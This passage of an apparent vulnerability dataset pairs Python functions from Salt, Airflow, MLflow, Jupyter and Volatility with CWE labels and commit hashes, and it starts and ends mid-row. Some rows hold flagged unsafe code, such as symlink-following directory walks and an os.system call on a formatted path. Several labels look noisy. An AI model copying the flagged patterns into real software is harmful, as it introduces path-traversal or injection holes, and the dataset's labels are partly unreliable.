                    yield (good, check, name, ptr)",,volatilityfoundation/volatility,89eb86ea971b9e1e160a0b26c39b7913a90aa7ea,"def calculate(self):
        common.set_plugin_members(self)

        # get all the members of 'mac_policy_ops' so that we can check them (they are all function ptrs)
        ops_members = self.get_members()

        # get the symbols need to check for if rootkit or not
        (kernel_symbol_addresses, kmods) = common.get_kernel_addrs(self)

        list_addr = self.addr_space.profile.get_symbol(""_mac_policy_list"")
    
        plist = obj.Object(""mac_policy_list"", offset = list_addr, vm = self.addr_space)
        parray = obj.Object('Array', offset = plist.entries, vm = self.addr_space, targetType = 'mac_policy_list_element', count = plist.maxindex + 1)

        for ent in parray:
            # I don't know how this can happen, but the kernel makes this check all over the place
            # the policy is useful without any ops so a rootkit can't abuse this
            if ent.mpc == None:
                continue

            name = ent.mpc.mpc_name.dereference()

            ops = obj.Object(""mac_policy_ops"", offset = ent.mpc.mpc_ops, vm = self.addr_space)

            # walk each member of the struct
            for check in ops_members:
                ptr = ops.__getattr__(check)
               
                if ptr != 0:
                    # make the last parameter 1 to see the names of known modules that load policies
                    good = common.is_known_address(ptr, kernel_symbol_addresses, kmods, 0) 

                    yield (good, check, name, ptr)"
,UNKNOWN,UNKNOWN,salt/utils/thin.py,1,"def gen_thin(cachedir, extra_mods='', overwrite=False, so_mods=''):
    '''
    Generate the salt-thin tarball and print the location of the tarball
    Optional additional mods to include (e.g. mako) can be supplied as a comma
    delimited string.  Permits forcing an overwrite of the output file as well.

    CLI Example:

    .. code-block:: bash

        salt-run thin.generate
        salt-run thin.generate mako
        salt-run thin.generate mako,wempy 1
        salt-run thin.generate overwrite=1
    '''
    thindir = os.path.join(cachedir, 'thin')
    if not os.path.isdir(thindir):
        os.makedirs(thindir)
    thintar = os.path.join(thindir, 'thin.tgz')
    thinver = os.path.join(thindir, 'version')
    salt_call = os.path.join(thindir, 'salt-call')
    with salt.utils.fopen(salt_call, 'w+') as fp_:
        fp_.write(SALTCALL)
    if os.path.isfile(thintar):
        with salt.utils.fopen(thinver) as fh_:
            if overwrite or not os.path.isfile(thinver):
                try:
                    os.remove(thintar)
                except OSError:
                    pass
            elif fh_.read() == salt.__version__:
                return thintar
    tops = [
            os.path.dirname(salt.__file__),
            os.path.dirname(jinja2.__file__),
            os.path.dirname(yaml.__file__),
            os.path.dirname(requests.__file__)
            ]
    if HAS_URLLIB3:
        tops.append(os.path.dirname(urllib3.__file__))

    if HAS_SIX:
        tops.append(six.__file__.replace('.pyc', '.py'))

    if HAS_CHARDET:
        tops.append(os.path.dirname(chardet.__file__))

    if HAS_CERTIFI:
        tops.append(os.path.dirname(certifi.__file__))

    if HAS_SSL_MATCH_HOSTNAME:
        tops.append(os.path.dirname(os.path.dirname(ssl_match_hostname.__file__)))

    for mod in [m for m in extra_mods.split(',') if m]:
        if mod not in locals() and mod not in globals():
            try:
                locals()[mod] = __import__(mod)
                moddir, modname = os.path.split(locals()[mod].__file__)
                base, ext = os.path.splitext(modname)
                if base == '__init__':
                    tops.append(moddir)
                else:
                    tops.append(os.path.join(moddir, base + '.py'))
            except ImportError:
                # Not entirely sure this is the right thing, but the only
                # options seem to be 1) fail, 2) spew errors, or 3) pass.
                # Nothing else in here spits errors, and the markupsafe code
                # doesn't bail on import failure, so I followed that lead.
                # And of course, any other failure still S/T's.
                pass
    for mod in [m for m in so_mods.split(',') if m]:
        try:
            locals()[mod] = __import__(mod)
            tops.append(locals()[mod].__file__)
        except ImportError:
            pass   # As per comment above
    if HAS_MARKUPSAFE:
        tops.append(os.path.dirname(markupsafe.__file__))
    tfp = tarfile.open(thintar, 'w:gz', dereference=True)
    start_dir = os.getcwd()
    tempdir = None
    for top in tops:
        base = os.path.basename(top)
        top_dirname = os.path.dirname(top)
        if os.path.isdir(top_dirname):
            os.chdir(top_dirname)
        else:
            # This is likely a compressed python .egg
            tempdir = tempfile.mkdtemp()
            egg = zipfile.ZipFile(top_dirname)
            egg.extractall(tempdir)
            top = os.path.join(tempdir, base)
            os.chdir(tempdir)
        if not os.path.isdir(top):
            # top is a single file module
            tfp.add(base)
            continue
        for root, dirs, files in os.walk(base, followlinks=True):
            for name in files:
                if not name.endswith(('.pyc', '.pyo')):
                    tfp.add(os.path.join(root, name))
        if tempdir is not None:
            shutil.rmtree(tempdir)
            tempdir = None
    os.chdir(thindir)
    tfp.add('salt-call')
    with salt.utils.fopen(thinver, 'w+') as fp_:
        fp_.write(salt.__version__)
    os.chdir(os.path.dirname(thinver))
    tfp.add('version')
    os.chdir(start_dir)
    tfp.close()
    return thintar",CWE-22,saltstack/salt,8de6726c57873f2e276f237ebfcf19ea3d6f01ff,"def gen_thin(cachedir, extra_mods='', overwrite=False, so_mods=''):
    '''
    Generate the salt-thin tarball and print the location of the tarball
    Optional additional mods to include (e.g. mako) can be supplied as a comma
    delimited string.  Permits forcing an overwrite of the output file as well.

    CLI Example:

    .. code-block:: bash

        salt-run thin.generate
        salt-run thin.generate mako
        salt-run thin.generate mako,wempy 1
        salt-run thin.generate overwrite=1
    '''
    thindir = os.path.join(cachedir, 'thin')
    if not os.path.isdir(thindir):
        os.makedirs(thindir)
    thintar = os.path.join(thindir, 'thin.tgz')
    thinver = os.path.join(thindir, 'version')
    salt_call = os.path.join(thindir, 'salt-call')
    with salt.utils.fopen(salt_call, 'w+') as fp_:
        fp_.write(SALTCALL)
    if os.path.isfile(thintar):
        with salt.utils.fopen(thinver) as fh_:
            if overwrite or not os.path.isfile(thinver):
                try:
                    os.remove(thintar)
                except OSError:
                    pass
            elif fh_.read() == salt.__version__:
                return thintar
    tops = [
            os.path.dirname(salt.__file__),
            os.path.dirname(jinja2.__file__),
            os.path.dirname(yaml.__file__),
            os.path.dirname(requests.__file__)
            ]
    if HAS_URLLIB3:
        tops.append(os.path.dirname(urllib3.__file__))

    if HAS_SIX:
        tops.append(six.__file__.replace('.pyc', '.py'))

    if HAS_CHARDET:
        tops.append(os.path.dirname(chardet.__file__))

    if HAS_CERTIFI:
        tops.append(os.path.dirname(certifi.__file__))

    if HAS_SSL_MATCH_HOSTNAME:
        tops.append(os.path.dirname(os.path.dirname(ssl_match_hostname.__file__)))

    for mod in [m for m in extra_mods.split(',') if m]:
        if mod not in locals() and mod not in globals():
            try:
                locals()[mod] = __import__(mod)
                moddir, modname = os.path.split(locals()[mod].__file__)
                base, ext = os.path.splitext(modname)
                if base == '__init__':
                    tops.append(moddir)
                else:
                    tops.append(os.path.join(moddir, base + '.py'))
            except ImportError:
                # Not entirely sure this is the right thing, but the only
                # options seem to be 1) fail, 2) spew errors, or 3) pass.
                # Nothing else in here spits errors, and the markupsafe code
                # doesn't bail on import failure, so I followed that lead.
                # And of course, any other failure still S/T's.
                pass
    for mod in [m for m in so_mods.split(',') if m]:
        try:
            locals()[mod] = __import__(mod)
            tops.append(locals()[mod].__file__)
        except ImportError:
            pass   # As per comment above
    if HAS_MARKUPSAFE:
        tops.append(os.path.dirname(markupsafe.__file__))
    tfp = tarfile.open(thintar, 'w:gz', dereference=True)
    start_dir = os.getcwd()
    tempdir = None
    for top in tops:
        base = os.path.basename(top)
        top_dirname = os.path.dirname(top)
        if os.path.isdir(top_dirname):
            os.chdir(top_dirname)
        else:
            # This is likely a compressed python .egg
            tempdir = tempfile.mkdtemp()
            egg = zipfile.ZipFile(top_dirname)
            egg.extractall(tempdir)
            top = os.path.join(tempdir, base)
            os.chdir(tempdir)
        if not os.path.isdir(top):
            # top is a single file module
            tfp.add(base)
            continue
        for root, dirs, files in os.walk(base):
            for name in files:
                if not name.endswith(('.pyc', '.pyo')):
                    tfp.add(os.path.join(root, name))
        if tempdir is not None:
            shutil.rmtree(tempdir)
            tempdir = None
    os.chdir(thindir)
    tfp.add('salt-call')
    with salt.utils.fopen(thinver, 'w+') as fp_:
        fp_.write(salt.__version__)
    os.chdir(os.path.dirname(thinver))
    tfp.add('version')
    os.chdir(start_dir)
    tfp.close()
    return thintar"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/client/ssh/__init__.py,0,"def __init__(self, opts):
        self.__parsed_rosters = {SSH.ROSTER_UPDATE_FLAG: True}
        pull_sock = os.path.join(opts[""sock_dir""], ""master_event_pull.ipc"")
        if os.path.exists(pull_sock) and zmq:
            self.event = salt.utils.event.get_event(
                ""master"", opts[""sock_dir""], opts[""transport""], opts=opts, listen=False
            )
        else:
            self.event = None
        self.opts = opts
        if self.opts[""regen_thin""]:
            self.opts[""ssh_wipe""] = True
        if not salt.utils.path.which(""ssh""):
            raise salt.exceptions.SaltSystemExit(
                code=-1,
                msg=(
                    ""No ssh binary found in path -- ssh must be installed for salt-ssh""
                    "" to run. Exiting.""
                ),
            )
        self.opts[""_ssh_version""] = ssh_version()
        self.tgt_type = (
            self.opts[""selected_target_option""]
            if self.opts[""selected_target_option""]
            else ""glob""
        )
        self._expand_target()
        self.roster = salt.roster.Roster(self.opts, self.opts.get(""roster"", ""flat""))
        self.targets = self.roster.targets(self.opts[""tgt""], self.tgt_type)
        if not self.targets:
            self._update_targets()
        # If we're in a wfunc, we need to get the ssh key location from the
        # top level opts, stored in __master_opts__
        if ""__master_opts__"" in self.opts:
            if self.opts[""__master_opts__""].get(""ssh_use_home_key"") and os.path.isfile(
                os.path.expanduser(""~/.ssh/id_rsa"")
            ):
                priv = os.path.expanduser(""~/.ssh/id_rsa"")
            else:
                priv = self.opts[""__master_opts__""].get(
                    ""ssh_priv"",
                    os.path.join(
                        self.opts[""__master_opts__""][""pki_dir""], ""ssh"", ""salt-ssh.rsa""
                    ),
                )
        else:
            priv = self.opts.get(
                ""ssh_priv"", os.path.join(self.opts[""pki_dir""], ""ssh"", ""salt-ssh.rsa"")
            )
        if priv != ""agent-forwarding"":
            if not os.path.isfile(priv):
                try:
                    salt.client.ssh.shell.gen_key(priv)
                except OSError:
                    raise salt.exceptions.SaltClientError(
                        ""salt-ssh could not be run because it could not generate""
                        "" keys.\n\nYou can probably resolve this by executing this""
                        "" script with increased permissions via sudo or by running as""
                        "" root.\nYou could also use the '-c' option to supply a""
                        "" configuration directory that you have permissions to read and""
                        "" write to.""
                    )
        self.defaults = {
            ""user"": self.opts.get(
                ""ssh_user"", salt.config.DEFAULT_MASTER_OPTS[""ssh_user""]
            ),
            ""port"": self.opts.get(
                ""ssh_port"", salt.config.DEFAULT_MASTER_OPTS[""ssh_port""]
            ),
            ""passwd"": self.opts.get(
                ""ssh_passwd"", salt.config.DEFAULT_MASTER_OPTS[""ssh_passwd""]
            ),
            ""priv"": priv,
            ""priv_passwd"": self.opts.get(
                ""ssh_priv_passwd"", salt.config.DEFAULT_MASTER_OPTS[""ssh_priv_passwd""]
            ),
            ""timeout"": self.opts.get(
                ""ssh_timeout"", salt.config.DEFAULT_MASTER_OPTS[""ssh_timeout""]
            )
            + self.opts.get(""timeout"", salt.config.DEFAULT_MASTER_OPTS[""timeout""]),
            ""sudo"": self.opts.get(
                ""ssh_sudo"", salt.config.DEFAULT_MASTER_OPTS[""ssh_sudo""]
            ),
            ""sudo_user"": self.opts.get(
                ""ssh_sudo_user"", salt.config.DEFAULT_MASTER_OPTS[""ssh_sudo_user""]
            ),
            ""identities_only"": self.opts.get(
                ""ssh_identities_only"",
                salt.config.DEFAULT_MASTER_OPTS[""ssh_identities_only""],
            ),
            ""remote_port_forwards"": self.opts.get(""ssh_remote_port_forwards""),
            ""ssh_options"": self.opts.get(""ssh_options""),
        }
        if self.opts.get(""rand_thin_dir""):
            self.defaults[""thin_dir""] = os.path.join(
                ""/var/tmp"", "".{}"".format(uuid.uuid4().hex[:6])
            )
            self.opts[""ssh_wipe""] = ""True""
        self.serial = salt.payload.Serial(opts)
        self.returners = salt.loader.returners(self.opts, {})
        self.fsclient = salt.fileclient.FSClient(self.opts)
        self.thin = salt.utils.thin.gen_thin(
            self.opts[""cachedir""],
            extra_mods=self.opts.get(""thin_extra_mods""),
            overwrite=self.opts[""regen_thin""],
            python2_bin=self.opts[""python2_bin""],
            python3_bin=self.opts[""python3_bin""],
            extended_cfg=self.opts.get(""ssh_ext_alternatives""),
        )
        self.mods = mod_data(self.fsclient)",,saltstack/salt,76e50885b07621e9e4c16bc3f1ebc16c93983b90,"def __init__(self, opts):
        self.__parsed_rosters = {SSH.ROSTER_UPDATE_FLAG: True}
        pull_sock = os.path.join(opts[""sock_dir""], ""master_event_pull.ipc"")
        if os.path.exists(pull_sock) and zmq:
            self.event = salt.utils.event.get_event(
                ""master"", opts[""sock_dir""], opts[""transport""], opts=opts, listen=False
            )
        else:
            self.event = None
        self.opts = opts
        if self.opts[""regen_thin""]:
            self.opts[""ssh_wipe""] = True
        if not salt.utils.path.which(""ssh""):
            raise salt.exceptions.SaltSystemExit(
                code=-1,
                msg=""No ssh binary found in path -- ssh must be installed for salt-ssh to run. Exiting."",
            )
        self.opts[""_ssh_version""] = ssh_version()
        self.tgt_type = (
            self.opts[""selected_target_option""]
            if self.opts[""selected_target_option""]
            else ""glob""
        )
        self._expand_target()
        self.roster = salt.roster.Roster(self.opts, self.opts.get(""roster"", ""flat""))
        self.targets = self.roster.targets(self.opts[""tgt""], self.tgt_type)
        if not self.targets:
            self._update_targets()
        # If we're in a wfunc, we need to get the ssh key location from the
        # top level opts, stored in __master_opts__
        if ""__master_opts__"" in self.opts:
            if self.opts[""__master_opts__""].get(""ssh_use_home_key"") and os.path.isfile(
                os.path.expanduser(""~/.ssh/id_rsa"")
            ):
                priv = os.path.expanduser(""~/.ssh/id_rsa"")
            else:
                priv = self.opts[""__master_opts__""].get(
                    ""ssh_priv"",
                    os.path.join(
                        self.opts[""__master_opts__""][""pki_dir""], ""ssh"", ""salt-ssh.rsa""
                    ),
                )
        else:
            priv = self.opts.get(
                ""ssh_priv"", os.path.join(self.opts[""pki_dir""], ""ssh"", ""salt-ssh.rsa"")
            )
        if priv != ""agent-forwarding"":
            if not os.path.isfile(priv):
                try:
                    salt.client.ssh.shell.gen_key(priv)
                except OSError:
                    raise salt.exceptions.SaltClientError(
                        ""salt-ssh could not be run because it could not generate keys.\n\n""
                        ""You can probably resolve this by executing this script with ""
                        ""increased permissions via sudo or by running as root.\n""
                        ""You could also use the '-c' option to supply a configuration ""
                        ""directory that you have permissions to read and write to.""
                    )
        self.defaults = {
            ""user"": self.opts.get(
                ""ssh_user"", salt.config.DEFAULT_MASTER_OPTS[""ssh_user""]
            ),
            ""port"": self.opts.get(
                ""ssh_port"", salt.config.DEFAULT_MASTER_OPTS[""ssh_port""]
            ),
            ""passwd"": self.opts.get(
                ""ssh_passwd"", salt.config.DEFAULT_MASTER_OPTS[""ssh_passwd""]
            ),
            ""priv"": priv,
            ""priv_passwd"": self.opts.get(
                ""ssh_priv_passwd"", salt.config.DEFAULT_MASTER_OPTS[""ssh_priv_passwd""]
            ),
            ""timeout"": self.opts.get(
                ""ssh_timeout"", salt.config.DEFAULT_MASTER_OPTS[""ssh_timeout""]
            )
            + self.opts.get(""timeout"", salt.config.DEFAULT_MASTER_OPTS[""timeout""]),
            ""sudo"": self.opts.get(
                ""ssh_sudo"", salt.config.DEFAULT_MASTER_OPTS[""ssh_sudo""]
            ),
            ""sudo_user"": self.opts.get(
                ""ssh_sudo_user"", salt.config.DEFAULT_MASTER_OPTS[""ssh_sudo_user""]
            ),
            ""identities_only"": self.opts.get(
                ""ssh_identities_only"",
                salt.config.DEFAULT_MASTER_OPTS[""ssh_identities_only""],
            ),
            ""remote_port_forwards"": self.opts.get(""ssh_remote_port_forwards""),
            ""ssh_options"": self.opts.get(""ssh_options""),
        }
        if self.opts.get(""rand_thin_dir""):
            self.defaults[""thin_dir""] = os.path.join(
                ""/var/tmp"", "".{}"".format(uuid.uuid4().hex[:6])
            )
            self.opts[""ssh_wipe""] = ""True""
        self.serial = salt.payload.Serial(opts)
        self.returners = salt.loader.returners(self.opts, {})
        self.fsclient = salt.fileclient.FSClient(self.opts)
        self.thin = salt.utils.thin.gen_thin(
            self.opts[""cachedir""],
            extra_mods=self.opts.get(""thin_extra_mods""),
            overwrite=self.opts[""regen_thin""],
            python2_bin=self.opts[""python2_bin""],
            python3_bin=self.opts[""python3_bin""],
            extended_cfg=self.opts.get(""ssh_ext_alternatives""),
        )
        self.mods = mod_data(self.fsclient)"
,UNKNOWN,UNKNOWN,tests/providers/docker/operators/test_docker.py,1,"def test_execute(self):
        stringio_patcher = mock.patch(""airflow.providers.docker.operators.docker.StringIO"")
        stringio_mock = stringio_patcher.start()
        stringio_mock.side_effect = lambda *args: args[0]

        operator = DockerOperator(
            api_version=""1.19"",
            command=""env"",
            environment={""UNIT"": ""TEST""},
            private_environment={""PRIVATE"": ""MESSAGE""},
            env_file=""ENV=FILE\nVAR=VALUE"",
            image=""ubuntu:latest"",
            network_mode=""bridge"",
            owner=""unittest"",
            task_id=""unittest"",
            mounts=[Mount(source=""/host/path"", target=""/container/path"", type=""bind"")],
            entrypoint='[""sh"", ""-c""]',
            working_dir=""/container/path"",
            shm_size=1000,
            host_tmp_dir=""/host/airflow"",
            container_name=""test_container"",
            tty=True,
            hostname=""test.container.host"",
            device_requests=[DeviceRequest(count=-1, capabilities=[[""gpu""]])],
            log_opts_max_file=""5"",
            log_opts_max_size=""10m"",
        )
        operator.execute(None)

        self.client_class_mock.assert_called_once_with(
            base_url=""unix://var/run/docker.sock"", tls=None, version=""1.19"", timeout=DEFAULT_TIMEOUT_SECONDS
        )

        self.client_mock.create_container.assert_called_once_with(
            command=""env"",
            name=""test_container"",
            environment={
                ""AIRFLOW_TMP_DIR"": ""/tmp/airflow"",
                ""UNIT"": ""TEST"",
                ""PRIVATE"": ""MESSAGE"",
                ""ENV"": ""FILE"",
                ""VAR"": ""VALUE"",
            },
            host_config=self.client_mock.create_host_config.return_value,
            image=""ubuntu:latest"",
            user=None,
            entrypoint=[""sh"", ""-c""],
            working_dir=""/container/path"",
            tty=True,
            hostname=""test.container.host"",
        )
        self.client_mock.create_host_config.assert_called_once_with(
            mounts=[
                Mount(source=""/host/path"", target=""/container/path"", type=""bind""),
                Mount(source=""/mkdtemp"", target=""/tmp/airflow"", type=""bind""),
            ],
            network_mode=""bridge"",
            shm_size=1000,
            cpu_shares=1024,
            mem_limit=None,
            auto_remove=False,
            dns=None,
            dns_search=None,
            cap_add=None,
            extra_hosts=None,
            privileged=False,
            device_requests=[DeviceRequest(count=-1, capabilities=[[""gpu""]])],
            log_config=LogConfig(config={""max-size"": ""10m"", ""max-file"": ""5""}),
            ipc_mode=None,
        )
        self.tempdir_mock.assert_called_once_with(dir=""/host/airflow"", prefix=""airflowtmp"")
        self.client_mock.images.assert_called_once_with(name=""ubuntu:latest"")
        self.client_mock.attach.assert_called_once_with(
            container=""some_id"", stdout=True, stderr=True, stream=True
        )
        self.client_mock.pull.assert_called_once_with(""ubuntu:latest"", stream=True, decode=True)
        self.client_mock.wait.assert_called_once_with(""some_id"")
        assert (
            operator.cli.pull(""ubuntu:latest"", stream=True, decode=True) == self.client_mock.pull.return_value
        )
        stringio_mock.assert_called_once_with(""ENV=FILE\nVAR=VALUE"")
        self.dotenv_mock.assert_called_once_with(stream=""ENV=FILE\nVAR=VALUE"")
        stringio_patcher.stop()",CWE-703,apache/airflow,c0a7bf243461bf5e546367094e46eaab41e3831e,"def test_execute(self):
        stringio_patcher = mock.patch(""airflow.providers.docker.operators.docker.StringIO"")
        stringio_mock = stringio_patcher.start()
        stringio_mock.side_effect = lambda *args: args[0]

        operator = DockerOperator(
            api_version=""1.19"",
            command=""env"",
            environment={""UNIT"": ""TEST""},
            private_environment={""PRIVATE"": ""MESSAGE""},
            env_file=""ENV=FILE\nVAR=VALUE"",
            image=""ubuntu:latest"",
            network_mode=""bridge"",
            owner=""unittest"",
            task_id=""unittest"",
            mounts=[Mount(source=""/host/path"", target=""/container/path"", type=""bind"")],
            entrypoint='[""sh"", ""-c""]',
            working_dir=""/container/path"",
            shm_size=1000,
            host_tmp_dir=""/host/airflow"",
            container_name=""test_container"",
            tty=True,
            hostname=""test.contrainer.host"",
            device_requests=[DeviceRequest(count=-1, capabilities=[[""gpu""]])],
            log_opts_max_file=""5"",
            log_opts_max_size=""10m"",
        )
        operator.execute(None)

        self.client_class_mock.assert_called_once_with(
            base_url=""unix://var/run/docker.sock"", tls=None, version=""1.19"", timeout=DEFAULT_TIMEOUT_SECONDS
        )

        self.client_mock.create_container.assert_called_once_with(
            command=""env"",
            name=""test_container"",
            environment={
                ""AIRFLOW_TMP_DIR"": ""/tmp/airflow"",
                ""UNIT"": ""TEST"",
                ""PRIVATE"": ""MESSAGE"",
                ""ENV"": ""FILE"",
                ""VAR"": ""VALUE"",
            },
            host_config=self.client_mock.create_host_config.return_value,
            image=""ubuntu:latest"",
            user=None,
            entrypoint=[""sh"", ""-c""],
            working_dir=""/container/path"",
            tty=True,
            hostname=""test.contrainer.host"",
        )
        self.client_mock.create_host_config.assert_called_once_with(
            mounts=[
                Mount(source=""/host/path"", target=""/container/path"", type=""bind""),
                Mount(source=""/mkdtemp"", target=""/tmp/airflow"", type=""bind""),
            ],
            network_mode=""bridge"",
            shm_size=1000,
            cpu_shares=1024,
            mem_limit=None,
            auto_remove=False,
            dns=None,
            dns_search=None,
            cap_add=None,
            extra_hosts=None,
            privileged=False,
            device_requests=[DeviceRequest(count=-1, capabilities=[[""gpu""]])],
            log_config=LogConfig(config={""max-size"": ""10m"", ""max-file"": ""5""}),
            ipc_mode=None,
        )
        self.tempdir_mock.assert_called_once_with(dir=""/host/airflow"", prefix=""airflowtmp"")
        self.client_mock.images.assert_called_once_with(name=""ubuntu:latest"")
        self.client_mock.attach.assert_called_once_with(
            container=""some_id"", stdout=True, stderr=True, stream=True
        )
        self.client_mock.pull.assert_called_once_with(""ubuntu:latest"", stream=True, decode=True)
        self.client_mock.wait.assert_called_once_with(""some_id"")
        assert (
            operator.cli.pull(""ubuntu:latest"", stream=True, decode=True) == self.client_mock.pull.return_value
        )
        stringio_mock.assert_called_once_with(""ENV=FILE\nVAR=VALUE"")
        self.dotenv_mock.assert_called_once_with(stream=""ENV=FILE\nVAR=VALUE"")
        stringio_patcher.stop()"
,UNKNOWN,UNKNOWN,tests/pytests/integration/conftest.py,1,"def salt_cli(salt_master):
    """"""
    The ``salt`` CLI as a fixture against the running master
    """"""
    assert salt_master.is_running()
    return salt_master.salt_cli(timeout=30)",CWE-703,saltstack/salt,ec431c31846cc50869ea1097996137f1b6148b0c,"def salt_cli(salt_master):
    """"""
    The ``salt`` CLI as a fixture against the running master
    """"""
    assert salt_master.is_running()
    return salt_master.salt_cli()"
,UNKNOWN,UNKNOWN,mlflow/sagemaker/__init__.py,1,"def build_image(name=DEFAULT_IMAGE_NAME, mlflow_home=None):
    """"""
    Build an MLflow Docker image.
    The image is built locally and it requires Docker to run.

    :param name: Docker image name.
    :param mlflow_home: Directory containing checkout of the MLflow GitHub project or
                        current directory if not specified.
    """"""
    with TempDir() as tmp:
        cwd = tmp.path()
        if mlflow_home:
            mlflow_dir = _copy_project(
                src_path=mlflow_home, dst_path=cwd)
            install_mlflow = (
                ""COPY {mlflow_dir} /opt/mlflow\n""
                ""RUN pip install /opt/mlflow\n""
                ""RUN cd /opt/mlflow/mlflow/java/scoring &&""
                "" mvn --batch-mode package -DskipTests &&""
                "" mkdir -p /opt/java/jars &&""
                "" mv /opt/mlflow/mlflow/java/scoring/target/""
                ""mlflow-scoring-*-with-dependencies.jar /opt/java/jars\n""
            ).format(mlflow_dir=mlflow_dir)
        else:
            install_mlflow = (
                ""RUN pip install mlflow=={version}\n""
                ""RUN mvn --batch-mode dependency:copy""
                "" -Dartifact=org.mlflow:mlflow-scoring:{version}:pom""
                "" -DoutputDirectory=/opt/java\n""
                ""RUN mvn --batch-mode dependency:copy""
                "" -Dartifact=org.mlflow:mlflow-scoring:{version}:jar""
                "" -DoutputDirectory=/opt/java/jars\n""
                ""RUN cd /opt/java && mv mlflow-scoring-{version}.pom pom.xml &&""
                "" mvn --batch-mode dependency:copy-dependencies -DoutputDirectory=/opt/java/jars\n""
                ""RUN rm /opt/java/pom.xml\n""
            ).format(version=mlflow.version.VERSION)

        with open(os.path.join(cwd, ""Dockerfile""), ""w"") as f:
            f.write(_DOCKERFILE_TEMPLATE % install_mlflow)
        eprint(""building docker image"")
        os.system('find {cwd}/'.format(cwd=cwd))
        proc = Popen([""docker"", ""build"", ""-t"", name, ""-f"", ""Dockerfile"", "".""],
                     cwd=cwd,
                     stdout=PIPE,
                     stderr=STDOUT,
                     universal_newlines=True)
        for x in iter(proc.stdout.readline, """"):
            eprint(x, end='')",CWE-78,mlflow/mlflow,28dc5d1a91a3014d91961f67b6b5b0a461c1d707,"def build_image(name=DEFAULT_IMAGE_NAME, mlflow_home=None):
    """"""
    Build an MLflow Docker image.
    The image is built locally and it requires Docker to run.

    :param name: Docker image name.
    :param mlflow_home: Directory containing checkout of the MLflow GitHub project or
                        current directory if not specified.
    """"""
    with TempDir() as tmp:
        install_mlflow = ""RUN pip install mlflow=={version}"".format(
            version=mlflow.version.VERSION)
        cwd = tmp.path()
        if mlflow_home:
            mlflow_dir = _copy_project(
                src_path=mlflow_home, dst_path=tmp.path())
            install_mlflow = (""COPY {mlflow_dir} /opt/mlflow\n""
                              ""RUN cd /opt/mlflow/mlflow/java/scoring &&""
                              "" mvn --batch-mode package -DskipTests \n""
                              ""RUN pip install /opt/mlflow\n"")
            install_mlflow = install_mlflow.format(mlflow_dir=mlflow_dir)
        else:
            eprint(""`mlflow_home` was not specified. The image will install""
                   "" MLflow from pip instead. As a result, the container will""
                   "" not support the MLeap flavor."")

        with open(os.path.join(cwd, ""Dockerfile""), ""w"") as f:
            f.write(_DOCKERFILE_TEMPLATE % install_mlflow)
        eprint(""building docker image"")
        os.system('find {cwd}/'.format(cwd=cwd))
        proc = Popen([""docker"", ""build"", ""-t"", name, ""-f"", ""Dockerfile"", "".""],
                     cwd=cwd,
                     stdout=PIPE,
                     stderr=STDOUT,
                     universal_newlines=True)
        for x in iter(proc.stdout.readline, """"):
            eprint(x, end='')"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def find_package_data():
    """"""
    Find package_data.
    """"""
    # This is not enough for these things to appear in an sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
    ]

    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir('notebook')
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    # for verification purposes, explicitly add main.min.js
    # so that installation will fail if they are missing
    for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
        static_data.append(pjoin('static', app, 'js', 'main.min.js'))
    
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""es6-promise"", ""*.js""),
        pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
        pjoin(components, ""moment"", ""moment.js""),
        pjoin(components, ""moment"", ""min"", ""moment.min.js""),
        pjoin(components, ""xterm.js"", ""dist"", ""xterm.js""),
        pjoin(components, ""xterm.js"", ""dist"", ""xterm.css""),
        pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
    ])

    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))

    # Trim mathjax
    mj = lambda *path: pjoin(components, 'MathJax', *path)
    static_data.extend([
        mj('MathJax.js'),
        mj('config', 'TeX-AMS_HTML-full.js'),
        mj('config', 'Safe.js'),
    ])
    
    trees = []
    mj_out = mj('jax', 'output')
    
    if os.path.exists(mj_out):
        for output in os.listdir(mj_out):
            path = pjoin(mj_out, output)
            static_data.append(pjoin(path, '*.js'))
            autoload = pjoin(path, 'autoload')
            if os.path.isdir(autoload):
                trees.append(autoload)

    for tree in trees + [
        mj('localization'), # limit to en?
        mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
        mj('extensions'),
        mj('jax', 'input', 'TeX'),
        mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
        mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
    ]:
        for parent, dirs, files in os.walk(tree):
            for f in files:
                static_data.append(pjoin(parent, f))

    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(cwd)

    package_data = {
        'notebook' : ['templates/*'] + static_data,
        'notebook.tests' : js_tests,
    }
    
